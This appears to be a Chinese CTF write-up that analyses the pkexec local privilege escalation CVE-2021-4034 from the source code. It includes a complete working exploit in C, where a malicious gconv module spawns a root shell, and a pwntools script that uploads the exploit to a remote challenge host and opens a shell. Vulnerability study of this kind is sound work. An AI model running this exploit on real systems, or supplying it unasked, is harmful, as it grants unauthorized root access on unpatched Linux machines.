CVE-2021-4034 Polkit-Pkexec
前几天做Realworld体验赛的时候有一题Be-a-PK-LPE-Master,考查了对CVE-2021-4034的利用。当时是直接非预期的所以没有深究。
现在用预期解来复现一下,顺便借此环境分析一下CVE-2021-4034。
分析
CVE-2021-4034
是存在于Polkit
中的pkexec
的提权漏洞,影响到的linux版本不计其数。
pkexec是一个拥有suid权限的程序,可以被利用来执行root权限的命令。(web手应该都很熟悉suid提权)
但是glibc会在特权程序执行的时候清除敏感环境变量,以此来保证系统的安全性
void
_dl_non_dynamic_init (void)
{
......
if (__libc_enable_secure) //判断特权模式
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
while (cp < unsecure_envvars + sizeof (unsecure_envvars)) //在此全部清空
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
......
}
对unsecure_envvars
的定义如下:
#if !HAVE_TUNABLES
# define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#else
# define GLIBC_TUNABLES_ENVVAR
#endif
/* Environment variable to be removed for SUID programs. The names are
all stuffed in a single string which means they have to be terminated
with a '\0' explicitly. */
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
所以是没法直接使用特权程序来做一些比较危险的操作的。
但是在pkexec
的主函数中,有以下代码
for (n = 1; n < (guint) argc; n++)
{
......
}
......
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
s = g_find_program_in_path (path);
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s;
}
......
他在处理参数的时候,下标n
是从1开始遍历的,并在后续代码中使用了argv[n] = path = s
来赋值。
那么假如我们的argc为0呢,这一句就会变成argv[1] = path = s
,这是明显存在越界的。
而且,argv
和前面提到的环境变量,也就是envp
的数组在内存中恰好又是连续的。
所以说,这个漏洞使得危险环境变量可以被重新注入。
但是继续阅读源码就会发现,在环境变量注入不久之后,程序对环境变量进行了完全清除。
if (clearenv () != 0)
{
g_printerr ("Error clearing environment: %s\n", g_strerror (errno));
goto out;
}
因此,利用手段变得富有挑战性了起来。
利用
让argc为0
通常情况下,argc其实最少都是1的,因为argv[0]指向程序本身。
但如果使用execve来调用程序,并对argv传NULL,argc就会变为0(也许对此情况的疏忽就恰是本漏洞的成因)
劫持环境变量
再来回顾一下漏洞点的代码
path = g_strdup (argv[n]); //存在越界读,读出envp[0]
......
if (path[0] != '/')
{
s = g_find_program_in_path (path); //找到envp[0]的绝对路径
......
argv[n] = path = s; //存在越界写,将envp[0]修改为其绝对路径
}
能够劫持g_find_program_in_path (path)
的返回值的话,就能注入一个任意环境变量到argv[1] (即envp[0])。
所以,如果让envp符合
char * const environ[] = {"exp.so", "PATH=LD_PRELOAD=.", NULL};
并且提前部署好一个名为LD_PRELOAD=.
这个文件夹,且在LD_PRELOAD=.
目录下存在exp.so
这样一个文件,本目录下再有一个恶意的exp.so
,就能成功达成对恶意环境变量的注入。(把LD_PRELOAD
换成unsecure_envvars
中的任意一个都行,具体过程根据利用思路稍作调整)
利用g_printerr来getshell
有了注入危险环境变量的能力,结合源代码分析getshell思路就不是一件难事了。
重点放在注入环境变量之后,环境变量被重新清除之前,
if (access (path, F_OK) != 0)
{
g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
goto out;
}
command_line = g_strjoinv (" ", argv + n);
exec_argv = argv + n;
rc = getpwnam_r (opt_user, &pwstruct, pwbuf, sizeof pwbuf, &pw);
if (rc == 0 && pw == NULL)
{
g_printerr ("User `%s' does not exist.\n", opt_user);
goto out;
}
else if (pw == NULL)
{
g_printerr ("Error getting information for user `%s': %s\n", opt_user, g_strerror (rc));
goto out;
}
for (n = 0; environment_variables_to_save[n] != NULL; n++)
{
const gchar *key = environment_variables_to_save[n];
const gchar *value;
value = g_getenv (key);
if (value == NULL)
continue;
if (!validate_environment_variable (key, value))
goto out;
g_ptr_array_add (saved_env, g_strdup (key));
g_ptr_array_add (saved_env, g_strdup (value));
}
这里我们选择的攻击对象就是g_printerr
,他的作用和printf很像,但是当环境变量存在CHARSET
(这个环境变量并没有被认为是不安全的),且值不为UTF-8
时,他就会调用glibc中的函数iconv_open
来尝试从gconv-modules
中读取相应的so文件来转换字符集。
并且这个gconv-modules
的路径是由GCONV_PATH
这个环境变量指定的,结合此前的环境变量注入,只需要再构造一个恶意so来让g_printerr调用即可getshell。
gconv-modules
解析的格式是一个三元组:
module UTF-8// EXP// exp 2
(从UTF-8转换为EXP需要调用exp.so中的gconv_init
)
如何触发g_printerr
呢?其实也很简单。
在validate_environment_variable
函数中,
static gboolean
validate_environment_variable (const gchar *key,
const gchar *value)
{
if (g_strcmp0 (key, "SHELL") == 0)
{
/* check if it's in /etc/shells */
if (!is_valid_shell (value))
{
log_message (LOG_CRIT, TRUE,
"The value for the SHELL variable was not found the /etc/shells file");
g_printerr ("\n"
"This incident has been reported.\n");
goto out;
}
}
......
}
如果有SHELL
这个环境变量,且他的value并不在/etc/shells
中时,就会调用log_message
和g_printerr
。
(这里给出/etc/shells
的内容)
# /etc/shells: valid login shells
/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/bin/dash
/usr/bin/dash
/usr/bin/tmux
/bin/zsh
/usr/bin/zsh
综合利用
下面以今年RealworldCTF体验赛的这道Be-a-PK-LPE-Master为例,复现一遍此漏洞的利用过程。
首先在本地做好准备,写好exp.c
然后nc连上远程主机,拿到普通用户的shell之前需要先处理一个PoW挖矿的问题(爆破5bytes字符来构造一个存在26bits前缀0的sha256的hash)。这一步直接利用pwntools中的mbruteforce模块即可。
登录的时候使用user
空口令登录,然后将编译好的exp传到靶机上。
成功提权
exp.c
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
char code[] =
"#include<unistd.h>\n"
"#include<stdio.h>\n"
"#include<stdlib.h>\n"
"void gconv() {}\n"
"void gconv_init(){\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" char * const args[] = { \"/bin/sh\", NULL };\n"
" char * const environ[] = { \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL };\n"
" execve(args[0], args, environ);\n"
" exit(0);\n"
"}\n";
int main(){
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
system("chmod a+x 'GCONV_PATH=./pwnkit'");
FILE *fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", code);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *args[] = {NULL};
char *env[] = {"pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=/ko/to/ri", NULL};
execve("/usr/bin/pkexec", args, env);
return 0;
}
exp.py
from hashlib import sha256
import sys
import os
from pwn import *
from pwnlib.util.iters import mbruteforce
import string
context.log_level='debug'
USR = 'user'
PW = ''
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
ru = lambda x : p.recvuntil(x)
p = remote('47.98.99.193', 6666)
prefixes = str(ru(b'"+')[-7:-2])[2:-1]
print(prefixes)
# raw_input()
def brute(cur):
content = prefixes + str(cur)
s = sha256(content.encode())
if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:
return True
return False
def send_cmd(cmd):
sla('$ ', cmd)
def upload():
lg = log.progress('Upload')
with open('exp', 'rb') as f:
data = f.read()
encoded = base64.b64encode(data)
encoded = str(encoded)[2:-1]
for i in range(0, len(encoded), 300):
lg.status('%d / %d' % (i, len(encoded)))
send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
send_cmd('cat benc | base64 -d > bout')
send_cmd('chmod +x bout')
lg.success()
def login(username, passwd):
sla('login: ', username)
# sla('Password: ', passwd)
res = mbruteforce(brute, string.ascii_lowercase + string.digits, method = 'upto', length=6, threads = 20)
print(res)
sla('zero:', res)
login(USR, PW)
os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()
p.interactive()